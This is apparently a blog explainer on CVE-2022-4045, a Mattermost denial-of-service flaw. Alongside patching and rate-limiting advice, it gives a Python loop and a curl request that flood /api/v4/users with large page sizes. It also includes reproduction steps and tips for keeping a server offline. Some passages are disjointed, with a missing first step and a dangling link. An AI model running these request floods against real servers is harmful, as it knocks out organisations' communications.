Mattermost is a popular open-source messaging platform used by many organizations for internal collaboration. But in late 2022, Mattermost issued a security advisory for a pretty serious bug: CVE-2022-4045. This vulnerability lets any authenticated user crash the server – not by fancy hacking, but by simply spamming a specific API with requests that fetch too much data! In this long-read, I'll walk you through what happened, how the flaw works, how to reproduce it, and how to protect your Mattermost deployment.

What is CVE-2022-4045?

CVE-2022-4045 is a Denial-of-Service (DoS) vulnerability affecting certain versions of Mattermost. An authenticated user could send repeated requests to a specific API endpoint that returns large data sets, overwhelming the system’s memory and causing the server to crash.

Why it matters:
If any regular user can bring down your company’s chat system, they can cause a ton of disruption — blocking productivity, stalling communications, and more.

A Quick Look at the Technical Details

The vulnerability resides in one of Mattermost’s API endpoints (exposed via the REST API). Specifically, endpoints that fetch long lists – such as team members, channel history, or user data.

By repeatedly fetching very large amounts of data, a malicious user can spike the server’s memory usage until it crashes.

A Typical Exploit Might Look Like

Suppose the vulnerable endpoint is /api/v4/users. Here’s an example using Python (with the requests library) that can trigger the crash by rapidly fetching all users with a large page size:

import requests

MM_URL = "https://your-mattermost-instance.com";
AUTH_TOKEN = "YOUR_PERSONAL_ACCESS_TOKEN"  # Use a token from a regular user account

headers = {
    "Authorization": f"Bearer {AUTH_TOKEN}",
    "Content-Type": "application/json"
}

def fetch_users(page_size=200):
    url = f"{MM_URL}/api/v4/users?per_page={page_size}"
    response = requests.get(url, headers=headers)
    print(f"Fetched {len(response.json())} users, HTTP {response.status_code}")
    return response

# Bombard the API repeatedly
for _ in range(100):
    fetch_users()

What this does:
Even harmless user tokens can hammer the system with bulk requests, each demanding a massive response. After enough hits, the server runs out of memory and hangs or crashes.

Note: For ethics, do not perform this against live or production systems you don’t own!

Official References

- Mattermost Security Bulletin MM-48569

Checkout security update notes for version information and remediation tips.

- CVE Details for CVE-2022-4045

National Vulnerability Database entry with severity scores.

- Mattermost Changelog

Login as a normal user (no admin access needed).

2. Identify a vulnerable API endpoint. In documented cases, /api/v4/users and similar "list" endpoints are affected.
3. Send repeated requests with very high per_page or limit parameters (for instance, 200, 500, or the maximum allowed by the server).
4. Result: Server memory spikes rapidly as it tries to generate and send all the data, eventually failing with an out-of-memory error.

If the server automatically restarts, you can keep it offline by repeating the attack.

Here's what a single attack request looks like using curl

curl -X GET \
  -H "Authorization: Bearer USER_TOKEN" \
  "https://your-mattermost-instance.com/api/v4/users?per_page=500";

Now, simply repeat this in a loop for maximum impact.

Mitigation & Fix

Which versions are affected?  
Most Mattermost releases before the security bulletin in Oct 2022 are vulnerable. Check and update immediately!

How do I fix it?  
- Update Mattermost to the latest secure version as listed here.
- Harden your API by setting sensible limits on per_page, handling large responses with pagination, and using rate limiting.

Final Thoughts

CVE-2022-4045 shows how even non-sophisticated attacks can bring down critical communication systems. The solution is quick: patch your server, add rate limiting, and make sure ordinary users can’t stress the database with a flood of large requests.

Want to know more or get help securing your Mattermost system? Visit the official Mattermost security updates page for guidance.

> Stay patched. Stay safe. Don’t let your chat server become a victim of the next DoS wave!


*Written exclusively for you, with simple explanations & real code. Please share responsibly. For learning & defense only!*

Timeline

Published on: 11/23/2022 07:15:00 UTC
Last modified on: 11/26/2022 03:38:00 UTC